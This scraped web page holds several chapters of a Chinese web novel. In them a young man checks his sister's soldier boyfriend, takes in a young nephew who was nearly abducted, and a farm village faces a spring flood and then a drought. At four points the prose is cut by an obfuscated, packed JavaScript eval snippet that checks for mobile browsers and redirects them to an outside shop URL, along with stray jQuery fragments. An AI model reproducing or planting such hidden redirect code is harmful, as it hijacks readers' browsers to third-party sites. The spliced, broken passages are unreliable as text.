贺隽秋露出讨好的笑容:“哥,你一定要帮我保密啊,不然爸妈知道肯定会打死我。” 贺隽夏微笑:“你先告诉我是谁,我再决定要不要帮你保密。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009842|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说话时他脑子里已经把农场里等年轻男性都过了一遍,尤其是从县里来农场的那批新人。 贺隽秋小声道:“是、是小张哥。” “什么?” 贺隽夏有点没听清。 贺隽秋脸色爆红,豁出去般大声喊道:“是小张哥。” 贺隽夏懵圈了。 小张哥是谁,谁是小张哥? 艹,是张全那死小子! 贺隽夏反应过来整个人都要炸了,他就说那小子这段时间怎么这么殷勤。 贺隽秋连忙按住贺隽夏:“哥,哥,你冷静点。” 贺隽夏微笑:“我很冷静,我就是有点惊讶,你们谈多久了,是是上次他把你从树上抱下来那天开始的吗?” 贺隽秋看他脸上带着笑也就没有多想,红着脸道:“是第二天。” 那和同一天有什么区别? 该死,这小子肯定是故意利用吊桥效应哄骗贺隽秋和他谈恋爱! 贺隽夏在心里对张全口诛笔伐,无比后悔自己当初为什么不先一步把贺隽秋抱下树。 “就是,就是我第二天约他出来,然后让他做我男朋友,他就答应了。” 贺隽夏一愣:“你追的他?” 贺隽秋重重点头:“是啊,我追了他一个月,过了我十八岁生日他才答应呢。” 哼 一看就是欲擒故纵 不过得知是贺隽秋主动追人,贺隽夏心里对张全的评分还是上升了那么一点点,至少不是最低分了。 贺隽夏道:“你为什么喜欢他,因为他是当兵的?” 贺隽秋嘿嘿笑:“是因为他的身份对他有些好感,但是哥,你放心,我不是无脑喜欢,不然保卫科那么多人,我一天喜欢一个都要三个多月呢。” 贺隽夏微微点头:“把手链给我看看。” 贺隽秋取下手链,贺隽夏借着蜡烛的火光仔细观察红绳上的小金珠和小金虎。如果不是手链和金珠都是空心的3D工艺,他还真想咬一口。 贺隽秋紧张道:“哥,是真的黄金,你看盒子都在这里呢。” 谁说真盒子装的就一定是真黄金。 贺隽夏记得自己上大学时隔壁寝室的一个男生就干过这种事,还得意洋洋地拿着女朋友买的昂贵球鞋来他们寝室炫耀。 当然,事情败露后他也全校出名了。 贺隽夏以自己对黄金的浅薄认识,得出小金珠和金老虎都是真金制品,他想了想,起身从卧室里取出一张100元面值的纸币递给贺隽秋,这是劳模奖发的现金奖励。 贺隽秋惊讶:“给我这么多钱干什么?” 贺隽夏哼了一声:“吃人嘴短,拿人手软,咱家不占人便宜,他要是敢对你提过分的要求,直接踹了他。” “还有,你也满18岁了,我也不多啰嗦,但是什么该做什么不该做,你心里要有数,知道吗?” 贺隽秋不好意思地接过钱:“谢谢哥。” 贺隽夏:“你和他谈恋爱我不会告诉爸妈,但是我也不会在爸妈面前帮你打掩护。” 贺隽秋总算松了口气:“够了够了,谢谢哥,我爱死你了。” 贺隽夏又哼了一声:“我睡觉了,你也早点睡。” 贺隽秋笑得灿烂:“好勒。” 贺隽夏转身走进卧室,脸色瞬间冷了下来。 死小子,你完了。 33.第 33 章 张全最近有点倒霉。 先是走在路上被几个调皮的小孩用泥巴误伤,好好的一件新衣服被黑黢黢的泥垢弄脏。 第二天好不容易休假又被县里抓去当壮丁,从早上忙到晚上才回来,说好的约会泡了汤。 还有住在保卫科的陈奶奶时常叫他帮忙,接着用一种奇怪的眼神偷看他。 虽然张全能感觉到陈奶奶的眼神没有恶意,但偷偷被人盯着总叫人怪别扭。 咋回事? 张全如丈二和尚摸不着头脑。 好在这些情况不到一个星期又突然消失了,一切恢复如常,陈奶奶也不再找他帮忙,就是对他的态度比对保卫科里的其他人肉眼可见地热情不少。 张全思来想去想不到合理的解释,便干脆将原因归结于玄学。人嘛,总有一段时间特别幸运,也总有一段时间特别倒霉。 比如在那个特别倒霉的星期后,他和女朋友的感情渐渐步入正轨,只觉得山是甜的,水是甜的,空气也是甜的,曾经对谈恋爱不屑一顾的自己就是个大傻子。 更甚至他还得到了小夏哥的认可。 贺隽夏:…… 贺隽夏(骂骂咧咧):认个鬼! 他承认对张全的考察结束后,他不再对两人的恋情发表任何看法,不支持也不反对张全和贺隽秋谈恋爱,但是并不代表他就认可张全。 大家都是男人,他还能不知道男人的德行? 爱的时候可以要死要活,不爱之后比畜生的心都狠。 有些男的追人是一个样,谈恋爱是一个样,结婚后又是一个样,比川剧绝活的传人还会变脸。 还有些男的喜欢在外人面前装得人模人样,让自己看起来是个好好先生,背地里却把所有的负面情绪施加在妻儿身上。 也就是贺隽秋和张全年轻,一个十八,一个十九,刚成年不久,还处于青春期,贺隽夏才没有过多纠缠,以免适得其反。 要是换个二十多岁的“老”男人,别说眼不见为净,贺隽夏不生吃了他都算好的。 毕竟换个角度说就是一个已经出了学校的社会人士和一个高二女生谈恋爱。即便表面上贺隽秋是追人的那一方,也很难不让人怀疑是鸡贼男暗中哄骗涉世未深的小姑娘。 虽然贺隽夏没有亲眼见过这种情况,但他在医院实习时听过无数能惊掉人下巴的事。 真应了那句只有你想不到,没有别人做不到。 …… 为期30天的超长年假转瞬即逝,贺隽秋因为已经成年得到了一个工作岗位。 最初贺隽夏打算把贺隽秋运作去养鸡场或者养猪场,但是两个养殖场的工作除了工作轻松些,福利好些,并没有太大好处,环境恶劣不说,假期还比耕种小组少很多。 而且负责人规定新人进去必须从最苦最累的活干起,干一段时间(至少30天)后才能调去其他岗位。 在充分分析利弊、询问过贺隽秋的意见后,贺隽夏和父母家一合计把贺隽秋送进曾秀平的耕种小组。 首先有曾秀平在,没人会欺负贺隽秋。 再者即使有累活苦活,他和贺成材也可以去帮忙,不像养殖场有防疫要求,一般人不让进。 冬雪消融,大地回春。 农场在过年前种下的那批种子只贡献了少得可怜的收获,好在大家并没有抱太大希望,也就没有多难过,只是有些遗憾。 现在的重点是春耕。 这一批种植的作物主要是红薯、玉米和水稻,作物的产量关系到他们半年能不能吃饱吃好,关系到县里的生活情况,没有人敢瞎糊弄。 晨兴理荒秽,带月荷锄归。 陶渊明笔下的这句诗就是对耕种小组的工作最贴切的描述,大家过年时好不容易养出来的肉,在短短几天内快速瘦了回去。 贺隽夏挺直腰板,耸了耸肩,僵硬的肩膀和腰部顿时发出咔嚓咔嚓的声音。 他用搭在脖子上的汗巾擦去脸上的汗,却没办法处理衣服里的汗水,只能忍受衣服被汗水浸湿后紧紧贴在皮肤上的黏腻触感。 贺隽夏上下移动脑袋眺望远方,眼神的余光瞥见同组的年轻人干了他想干却又不能干的事的事,好心提醒道:“刘顺,别脱衣服,现在天气还冷,等会风一吹容易感冒,实在热得慌就把衣领敞开吧。” 年轻小伙子十分应景地打了个喷嚏,连忙把丢在地上的外套拿起来穿上,不好意思地笑了笑。 贺隽夏回以一笑,弯腰加快干活的速度继续埋头苦干,总算在太阳到达最高点之前把手里的活干完。 耕种小组员工的下班时间不固定,一般来说只要不敷衍地把分到的活干完,随时都可以下班离开。 贺隽夏冲贺成材喊道:“爸,我弄完了,我去小秋那边看看。” 贺成材走过来检查了一下他的成果,确认合格后才道:“去吧。” 贺隽夏没想到有相同想法的人不止他一个,他眯起眼睛看向地里卖力干活的青年和羞答答站在一旁的贺隽秋,满意地点点头又忍不住磨了磨牙。 好歹收敛点啊! 现在这样,只要不是瞎子,谁都能看出来他们两个不对劲。 村里本就没啥热闹,说来说去都是老一辈的家长里短。他们俩倒好,上赶着给人看热闹。 贺隽夏大步走上前狠狠地瞪了两人一眼,像银河一样把他们隔开。 他用所有人都能听见的声音道:“哎呀小张,师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上午工作结束,贺家四人来到食堂吃饭,贺隽夏敏锐地察觉到不少人的目光都隐晦地看向了贺隽秋。 而贺隽秋……贺隽秋正在和张全眉目传,两双亮晶晶的眼里是藏不住的粉红泡泡。 贺隽夏忍不住磨牙,曾秀平却是丈母娘看女婿,越看越欢喜。 张全是军人,拿保卫科和军队两方的工资津贴,吃喝不愁,生活作风有军队管着,不敢像其他人那样乱来,就算乱来还能找军队领导撑腰。 而且张全性格憨厚老实,又在贺家村农场工作,贺隽秋嫁给他想回家就能回家,也不用焦虑和公公婆婆相处。 怎么看张全都是一个完美的女婿人选。 贺隽夏完全不知道曾秀平已经想到了结婚那一茬,无奈挥手让吃完饭的贺隽秋快点离开,别在食堂乱洒狗粮。 日子一天天地过去,不知不觉间翠绿取代了雪景成为山间地头的主流颜色,天边淅淅沥沥地下起了小雨。 春雨来了。 34.第 34 章 俗话说春雨贵如油。 春天的雨水润物无声,既能缓解秋冬两个少雨季节造成的土地干旱,又能快速促进农作物生长发芽。 然而贺家村众人却高兴不起来。 去年的秋雨给他们带来了严重的心理阴影,以至于春雨降临时所有人如临大敌,两个大队长忙不迭地停止播种,吩咐员工修整排水沟渠。 事实证明他们的做法非常正确。 虽然春雨不似秋雨那般暴烈,只会滴滴答答地落下,欢快地奏响美妙的春日篇章,但春雨的“优点”在带来生机的同时,也给人类带来了大量的烦恼。 一场又一场春雨过分地滋润土地,超出土地容量的雨水从沟渠汇入江河湖海,却无法改变土地超出负荷,已经不再适合播种的现状。 这场断断续续的春雨足足持续了一个半月才停歇。 天潮潮地湿湿,空气里的水分子将残存的冬日气息一点点冲刷干净,只留下朦朦胧胧的大片白色雾气和难以晾干的衣物鞋袜。 耕种小组的员工们不得不在久违的太阳终于到来后,再一次对土地进行播种前的准备工作,哪怕他们已经做过一次。 杀菌,消毒,松土,施肥…… 一整套步骤执行下来,时间又过去了好几天。当农作物的种子终于落入土壤,农场的员工们总算不用再提心吊胆地数日子。 播种后到发芽前的这段日子工作量急剧减少,耕种小组的员工们迎来了久违的悠闲时光。 贺隽夏心里还记着过年时许丽说的那些话,找机会又去了趟省城看望贺成凤。 这回他就带了点饼子和水路上吃,真正的大头都长在内衬的口袋里,任是有火眼金睛也绝对看不出来。 只是贺隽夏没想到自己去的时候是轻装上阵,回来的时候却要带个大胖小子。得亏自行车有后座,不然怎么把小胖墩带回贺家村还真是个大问题。 贺隽夏带着小孩风尘仆仆地回到贺家村,曾秀平看着自行车后座上的大胖小子惊呆了。 “你、你咋把宸宸带回来了,小凤那边咋样,是不是出什么事了吧?” 不怪曾秀平下意识往不好的方面想,除非迫不得已,没有哪个爱孩子的父母舍得骨肉分离,把孩子送给亲戚带。 哪怕是亲哥哥嫂嫂也不例外。 贺隽夏把小胖墩从自行车座上提下来笑道:“姑姑没事,我们进去再说,宸宸念了一路好饿。” 曾秀平一听瞬间把疑惑抛之脑后,略微责怪道:“小孩子饿不得,你们咋不在县里吃早饭?” 张智宸揉揉眼睛:“舅妈,我和小夏哥在县里吃了包子馒头,但是都没有你做得好吃,我喜欢吃你做的。” 曾秀平顿时心花怒放:“好好好,等会儿就给你做肉包子吃。” 张智宸高兴道:“谢谢舅妈,舅妈,我最爱你了。” 曾秀平笑得合不拢嘴:“舅妈也最爱宸宸。” 被彻底忽视的贺隽夏:…… 他看着比初见时又瘦了一大圈的张智宸,在心里不轻不重地哼了一声,他不和小孩子计较。 “哎,小狗,两只小狗。” 张智宸看见趴在狗窝里的芝麻和汤圆激动得手舞足蹈,小短腿一蹬就要去撸狗,殊不知逼近成年的两只小狗已经竖起耳朵,警惕地盯着他。 如果他不是跟着贺隽夏和曾秀平一起进来,芝麻和汤圆下一秒就会狂吠起来,甚至在他靠近时做出一定的攻击行为。 贺隽夏眼疾手快地抓住小孩衣领,面无表情道:“先去洗澡,你身上都臭了。” 张智宸低头嗅嗅衣服,忍不住干呕了一声,嚷嚷道:“好臭好臭,小夏哥,我要洗澡。” 贺隽夏环视一圈想让贺隽秋来看着张智宸,谁知道家里只剩下他们三个,抓不着壮丁,只能他自己上。 “芝麻,汤圆,过来。” 听见命令的两只小狗摇晃着尾巴奔过来,却对张智宸依然保持着警惕,让小孩连根毛都摸不着。 贺隽夏把张智宸的两只手抓住:“听话,现在不能摸小狗,不然小狗会咬人。” 张智宸:QWQ 芝麻和汤圆在贺隽夏的命令下围着小孩转了几圈,仔细嗅闻他身上的气息,下垂的尾巴渐渐开始摇晃,就是摇晃的幅度有些缓慢迟疑。 可以了。 贺隽夏松开小孩的手让他先去客厅呆着,自己则来到厨房炸锅烧水,找曾秀平说明具体情况。 贺成凤刚生完孩子不久,小婴儿时时离不开人,偏偏张智宸的奶奶出去买菜时又不小心摔断了腿,家里的大事小事全落在张智宸的爷爷头上。 家里实在顾不上张智宸,就让他自己去小区里玩,谁知道玩着玩着玩丢了,张家几个大人找了一下午都没找到人,眼睛都哭红了。 得亏晚上的时候警察把他送了回来,不然张家还不知道会乱成啥样。 几个大人一问才知道这小子被人贩子以求带路的名义骗出了小区。 要不是他的同班同学和家长在路边玩认出了他,家长察觉不对追上去把人留了下来,他就被人拐跑了。 现在手机通讯都是摆设,要是被人贩子拐到某个鸟不拉屎的山窝窝里,搞不好这辈子都找不着了。 几个大人又怒又怕,却实在抽不出空带孩子下去玩,而把孩子锁在家里不让出门也让人心里不好受。 刚好贺隽夏来省城探望,贺成凤和家里人一商量,便拜托贺隽夏把张智宸带去贺家村养一段时间。 毕竟村里天宽地宽,还有保卫科巡逻,怎么看都比把孩子关在家里不让出门来得好。 曾秀平听完贺隽夏的解释也是心惊肉跳。 “菩萨保佑,菩萨保佑,幸亏让宸宸的同班同学瞧见了,不然小凤以后的日子可咋过。” “这些狗·日的东西,有娘生没娘养……” 曾秀平骂骂咧咧,用无数“优美”的语言将人贩子和人贩子的祖宗十八代喷了个狗血淋头,看得贺隽夏目瞪口呆。 他还是第一次见曾秀平这副模样。 曾秀平骂了一圈,骂到口干舌燥才停下来休息,她转头看向贺隽夏,似想起什么,好奇问道:“小凤生的男孩女孩,叫啥名?” 贺隽夏笑:“女孩,叫张智月,四斤半。” 曾秀平高兴:“好好好,一个男孩一个女孩,刚好凑成一个好字。” 两人又说了一会儿话,水终于烧开了。 贺隽夏把烧开的水倒进洗澡用的大木桶,又兑了一大盆冷水,确认温度合适后,将小孩提进房间帮他洗澡。 没办法,小孩才五岁,已经快半个月没洗澡了。要是让他自己来洗,别说搓掉身上的污垢,就是洗干净头发都困难。 贺隽夏捏着鼻子把臭臭的小孩搓澡,木桶里的水渐渐浑浊起来,连毛巾都黑了。 贺隽夏:…… 贺隽夏把小孩转移到另一个装有温水的塑料水桶,让他先蹲在桶里,然后取出大木桶侧方的塞子放水,等到污水流干又倒入新烧好的热水,把小孩转移回来进行新一轮的清洗。 贺隽夏第一次给小孩洗澡,忙活来忙活去,忙到最后满头大汗,连自己的衣服也湿了大半。 “小夏哥,你让我再泡一会儿吧,好舒服呀,我不想起来。” 张智宸躺在木桶里眼巴巴地乞求。 贺隽夏十动然拒:“不行,等会水冷了会感冒。” 他把干毛巾递给张智宸,忍不住甩了甩双手,洗个小孩比洗表妹养的萨摩耶还费劲。 张智宸顶着委屈巴巴的表情穿好衣服,听见外面小狗的声音又兴奋起来,迫不及待地想和小狗玩。 贺隽夏 :…… 累到只想倒头就睡的贺隽夏磨了磨牙,对小孩的精力上限有了清晰的认知。 贺隽夏麻溜地给自己洗了个澡,换上干净的衣服躺在床上睡觉,没过一会儿,断断续续的鼾声和院子里小孩叽叽喳喳的声音交相辉映。 …… 张智宸的到来引起了村里人的热议,不过他的热度没有持续太久就被新的热闹转移,贺家人的日子依然平淡安稳。 今年的夏季似乎来得格外早。 刚到五月,天气就炎热起来,家家户户都穿上了短袖凉鞋,换成夏季的装扮。 好在热归热,却不是让人无法接受的热,以身体的感觉来判断顶多就二十八九度,对常年经受酷暑的南方来说连小事儿都算不上。 然而五月一过,小事都算不上的事就成了大事,早上七点出门走一圈都能热得满头大汗,县里的藿香正气丸、藿香正气水供不应求,有好些个耕种小组的成员都中暑倒下。 为了员工的安全考虑,农场不得不调整工作时间,让大家避开最炎热的时间段,降低中暑的概率。 但这项举措治标不治本。 人可以躲在屋里避开阳光,土地和作物却只能迎面接受炙热的考验——大地出现龟壳纹路般的裂痕,曾经昂首挺胸的农作物焉哒哒地弯下腰,叶子变成焦黄色。 如果不能及时解决这个问题,未来极有可能出现农作物大面积减产,甚至停产。 但浇水也是个技术活。 光用水瓢大量浇水很有可能得不偿失,使植物叶片的蒸腾作用和植物根系的呼吸受到影响,导致土壤板结和盐碱化。 最好的方法是滴灌或者喷灌。 这种方式能够最大程度上保证农田和作物均匀地接触水分,也能大幅度提高水的利用率,避免浪费。 问题又来了。 滴灌喷灌的工具上哪找? 村中常年种植的几户人家里倒是有几个手动背负式喷雾器和喷洒农药的小喷水壶可以借来用,但零星几个工具比起大片的农田根本不够用。 农场的负责人一边去县里求援,一边号召大家集思广益。 贺根挠着脑袋:“要不咱们把水瓢烫几个小洞出来当洒水器用?” 张夏兰着急反驳:"那咋行?咱们村里才多少个水瓢,都烫坏了以后咱们家里怎么舀水。 再说工厂全部停产了,搞不好以后想买塑料水瓢都买不着。" 她说得在理,得到了大部分人的赞同。水瓢是他们的私人财产,借出去给农场用没意见,但也不能把好好的东西弄坏,让他们以后没得用。 不过贺根的话提醒了贺隽夏。 他提议道:“水瓢不行,可以用矿泉水瓶和塑料袋。只要用针在下面扎几个洞就能当洒水器。” 贺根眼睛一亮:“可以可以。” 其他人听完后都没有反驳,反正只要不让他们把自家的东西故意弄坏,其他的随便。 塑料水瓶不是稀罕的东西,就算农村人没有在外面买水喝的习惯,也免不了需要买一些塑料制品的东西,比如说一次性塑料杯、一次性塑料碗,还有洗洁精、生抽、老抽、酱油等调料用的瓶子。 塑料袋更是极其常见的物品。 毫不夸张地说,一个人的家里至少能找出五个塑料袋。这里说的塑料袋不是单纯指装垃圾的塑料袋,还有食品包装袋,洗衣粉包装袋、粮食包装袋等。 在大家的集思广益下,洒水器的问题总算得到了解决,而负责人也从县里要到了一部分物资,包括农药和肥料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049790|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——干旱带来缺水的同时还会导致严重的病虫害问题。 耕种小组的员工们又开始忙碌起来,每天早晚都会提着自制的喷水器去田里给农作物浇水,小河上下游边取水的人群成了一道独特的奇观。 许丽一边取水一边忧心忡忡道:“小河的水位好像比以前低了不少,以后会不会断水呀?” 一个婶子笑道:“不用担心,从我有记忆开始,这条河就没干过。” 张夏兰不屑:“小姑娘就是爱东想西想。” 当初也就是运气好猜中了才得了个泥石流奖励,还真把自己当专家了,什么事儿都要掺和一脚。 许丽温温柔柔地笑道:“主要是最近的天气太不对劲了,去年的冬天也格外冷,还有那什么特殊磁场在呢。 不怕一万,就怕万一。 咱们现在吃喝都靠这条河,万一断流了可咋办?到时候人都没得水喝,更别说地里的东西。” 小部分人认为许丽是杞人忧天,另一部分人却把她的话记在了心里。 小姑娘不是无的放矢的人,上回贺家村躲过泥石流就有她的功劳。 万一真没水了,人可咋活? 抖X上的专家可是说过人三天不喝水就会死。 曾秀平赞同道:“你说得对,不怕一万就怕万一,不能抱有侥幸心理,等会儿我去找大队长看看他怎么说。” 张夏兰又不屑地哼了一声。 曾秀平一家就是没脑子,接济小姑子不说,小姑子生下来的娃带回来养。那灾星生的娃能是啥好东西,一看就是个小白眼狼。 要她说,嫁出去的女儿泼出去的水,有那闲钱还不如多帮帮村里人。她的三个儿子都没结婚呢,曾秀平还是他们三婶,让他把组里的几个年轻姑娘介绍一下都推三阻四。 哼,不就是怕她儿子娶了城里姑娘压他们家一头吗? 张夏兰在心里嘀嘀咕咕,眼睛一转突然想到了另一件事,惊慌道:“哎呀,我有东西忘记拿了,我回去拿一下,你们先忙。” 张夏兰急匆匆地跑走了,河岸边的气氛反倒好了不少,大家随意地说着家长里短,接满水后各自回到自己的工作岗位上。 中午休息,一群人聚在食堂里吃饭,空气里都是喧嚣和吵闹,负责人和两位大队长却突然走进食堂示意大家安静。 负责人是农场的最高领导人,在农场里很有威望,没过一会儿,热闹的食堂就寂然无声,一片安静。 负责人满意地点头。 他笑道:“刚才张夏兰同志找到贺队长,说自己担心天气太热会导致河水断流。 这是个非常重要非常严肃地提醒,我和两位大队长商量过后决定在厂里修建两个储水库来应对未来可能发生的河水断流问题。” 负责人的话音落下,众人忍不住窃窃私语,用一言难尽的复杂表情看向张夏兰,看见了他得意洋洋的表情。 真不要脸啊。 人许丽的建议也好意思说成自己的想法,还故意赶在曾组长之前找到贺队长贪功劳。 张夏兰心里美滋滋,仿佛100元奖金已经进入自己的钱包,完全不在意旁人的眼神,更不觉得自己有错。 ——是许丽自己主动把想法说出来,又不是她逼的,这些人就是慢了她一步羡慕嫉妒恨。 见张夏兰油盐不进的得意模样,其他人又将视线投向许丽,好奇地观察她的反应,期待她能冲上去说出真相,狠狠打张夏兰的脸。 可惜他们失望了。 许丽没有任何愤怒的表情,仿佛被抢走功劳的人不是她一样——有工作在手,所谓的奖励只是锦上添花。上回另一个重生者找上门来把她吓坏了,树大招风,她并不想再出一次风头引人注目,张夏兰愿意替她正好。 再说她现在跳出去不是打负责人的脸吗? 虽然负责人是个大度的人,听贺家村的村民们说,当初土地征收,张夏兰的儿子还想对负责人动手,负责人也没和他们计较。 可事实是张夏兰的大儿子和小儿子都卖了工作当家里蹲。 许丽不敢赌任何一种可能。 两位大队长不知道这件事里的弯弯绕绕,在负责人说完后立刻带头鼓掌。食堂里的员工们也不含糊,哪怕心里闪过无数种念头,手里的动作都不带半点停顿。 宽敞的食堂顿时响起热烈的掌声,阵阵回音入耳,负责人满意地点点头。 他接着道:“有意向参与储水库修建工作的员工可以在下午找贺强国大队长报名,时间截止到今天晚上,名额有限,先到先得。” “大家还有什么问题吗?” 一人举手道:“参与水库修建工作有补贴吗?” 负责人笑道:“那是肯定的,不能让大家白干活儿,补贴是养鸡厂生产的鸡蛋,一天10枚,包吃。” 现在市面上一板鸡蛋能卖到九块钱,10枚鸡蛋就是三块块钱,还包吃,算起来也是笔不错的买卖。 要知道上回修建养殖场,食堂提供的伙食可丰盛了,辣椒炒肉的肉比辣椒还多,要是没吃饱还能加点餐。 虽然养殖场给的工资是鸡蛋,但是并不要求他们把所有鸡蛋一次性提出来,而是吃多少提多少,不用担心鸡蛋放久了变质。 有些人家吃到过年才把修养殖场的工资吃完,让其他没报名的人羡慕坏了,这回他们说什么都要报名。 当天下午,一大群人找到贺强国报名参加水库修建工作,将小小的办公室堵得严严实实。 贺隽夏和贺成材没有凑这个热闹,现在天气可比上回热多了,稍有不慎就会中暑,还是小命更重要。 35.第 35 章 事实证明他们的选择非常正确,动工的第二天就有人中暑倒下。 虽然中暑的人是在中午休息时又回到自家菜园子里干活才倒下,但不可否认的是,在这样炎热的环境下劳作会严重影响身体机能的平衡。 为了员工的健康考虑,储水库的工期一延再延,工作时间也变成了早上和晚上两个气温最低的时间段。 然而这番调整并没有带来多大的改变。 太阳升起的那一刻,阳光就开始无情地炙烤大地,将世界变成一个巨大的烤炉。 即便是早晚两个最阴凉的时间段也热得人苦不堪言,体质弱的老人和小孩出门随便走几步都有中暑的可能。 因为修建储水库中而中暑的人越来越多,哪怕中暑暂时还没有对任何一个人造成生命危险,也免不了使人虚弱好些天。 当初争着抢着要报名的人都打起了退堂鼓,一个个找到负责这件事的贺强国要退出,却被负责人全部驳回。 这是他头一回在农场员工面前展现出自己的强硬的态度和手段。 俗话说,老实人发疯惹不得。 平日里见谁都和和气气的负责人突然严肃强硬起来,闹着要退出的人被吓得不敢再闹腾。 当然,这和负责人打一个巴掌给一个甜枣,大幅度提高兼职日工资的举措脱不了关系。 或许有人会问:保卫科里那么多人,干嘛揪着要退出的人不放? 答案很简单。 原本只打算修建一个储水库应急的计划被扩充到修建三个储水库,工程量翻了四倍,需要的工人数量大大增加,保卫科的人早就开始干活了。 甚至负责人还让贺强国挨家挨户地动员,争取让更多的人投入到储水库的建设上来。 不过他之所以会下达这种看似非常离谱的命令,是因为小河最深处的水位在短短六天内下降了五厘米之多。 要知道最深处的水位也才八十厘米。 或许有人会说,照这样的速度进行下去,也要九十六天后,深水区里的水才会彻底消失。 总不可能96天都不下一场雨吧? 需要这么紧张吗? 但是决定河流是否会断流干涸的重要因素并不是深水区的水位。 也许在深水区的水位降至四十厘米时,这条水流量本就不大的小河就会变成一股极细极小的涓涓细流,甚至彻底断流,留下一个个大大小小的水坑。 而这些大大小小的水坑会在烈日的暴晒下,以常人无法想象的速度变小变少,直至成为一个干裂的泥巴坑。 更恐怖的是现在才六月中旬,距离最炎热的七八月还有一段时间,未来的气温只会越来越高,河水的蒸发速度也只会越来越快。 负责人是在未雨绸缪。 为此他还将所有人召集起来,开了一场会议说明情况,并且鼓励大家多囤水储水。 虽然贺家村人员混杂,有来自军区的军人,有来自县里的年轻人,也有祖祖辈辈就生活在贺家村的原住民,但说到底,大家不是不讲理的人,能明白负责人的良苦用心。 只是明白是一回事,理解又是另一回事。 大热天的出去干苦活累活,被太阳晒得心烦意乱还有中暑的风险,任谁心里都不痛快,憋着一股闷气。 人们不敢埋怨负责人,却对最先提出修建储水库的张夏兰心怀怨念,遇上张夏兰一家时,脸上的表情和语气总是不由自主的变臭。 张夏兰后悔死了。 早知道她就应该让曾秀平去,现在屁的奖励也没捞到手还要被人埋怨。 与她心情相反的是曾秀平和许丽。 张夏兰受到的冷遇都被她们看在眼里,如今只觉得万分庆幸,幸好不是他们来背锅。 至于倒霉的张夏兰? 管他呢,人总要为自己做过的事情买单。 …… 夜色渐深,明月高悬。 村里的大部分人都已经进入了梦乡,只有保卫科的人还在有条不絮的巡逻警戒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085464|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺隽夏一家却坐在客厅里小声开家庭会议。 “黄桃罐头六十瓶,桔子罐头四十瓶,13件矿泉水,每箱24瓶,一共312瓶。” 贺隽夏将清点完的数据告诉父母和妹妹。 得亏前期囤货时他让贺隽秋在批发市场买了两百块的矿泉水,后面自己回来时又添了好几箱。 如此一来,就算家中四人和两只小狗一天消耗六瓶水,光靠矿泉水也能坚持52天。 再说家里后院的小菜地里还有个水井,即便水井未来可能干涸,但在干涸之前也能源源不断地提供干净水源。 剩下的三个家庭成员听贺隽夏说完也放了心。 人可以七天不吃东西,却不能七天不喝水。小河断流后,小河所属的主流也极有可能出现问题,到时候这些瓶装矿泉水就是唯一的救命稻草。 贺隽夏想了想问道:“当初你买水回来的时候有没有被其他人看见?” 贺隽秋摇头:“放心吧,哥,我和爸一路回来都没遇见村里人,只要爸妈没往外说,肯定不会有人知道。 ” 曾秀平和贺成材连忙道:“没有没有,我和你爸肯定没有往外说。” 他们两个都不是大嘴巴爱宣扬家里事的人。 贺隽夏严肃地看着三人:“好,以后咱们家里囤有矿泉水的消息一定不能告诉任何人,包括二叔,三叔,也包括张全。” 虽然二叔,三叔人不错,张全也的确是个不错的小伙子,但二叔、三叔都有一大家子要养,张全又毕竟是保卫科的人。 谁知道关键时候他们会怎么选? 无论是为了自己,还是为了家中其他人的安全,贺隽夏都不能将信任交给别人。 一旦消息泄露出去,事情又真到了那个地步,他们家能做的只有把所有东西都交出去,否则极有可能有生命危险。 而且就算把全部的水交出去,也还是会有人怀疑他们私藏了矿泉水,后果不堪设想。 三人对视一眼,郑重点头。 36.第 36 章 事情的发展比所有人想象得更加糟糕。 刚步入七月,小河里的水就只剩下薄薄一层。河水贴着河床缓慢地向前淌去,两边是不沾一丝水汽的干燥鹅卵石。 就算在河水流速最快的地方接水,也要近十五钟才能接满一桶水。 而地里的庄稼正处于成熟的关键时期,如果不能及时提供足够的水源,这些作物极有可能大幅度减产、绝收。 为了护住辛勤劳动了一个季度的成果,人们提着水桶守在小河各处地势差较大的地方,接满水后马不停蹄地奔向自己负责的田地。 不够! 还是不够! 小河的水流量太少了,农场农田的范围太大了,有时甚至会出现有人在上游接水导致下游断流的情况。 因为失去了太多水分,农田如龟壳般裂开一道道缝隙,有些承受不住酷暑和暴晒的作物已经死亡。 与此同时,人们的生活用水也受到了极其严重的影响——自来水全面普及后,对小孩威胁较大的露天水井就渐渐被贺家村的村民抛弃,以至于自来水厂受到磁场影响后,大部分人都要依靠小河里的水生活。 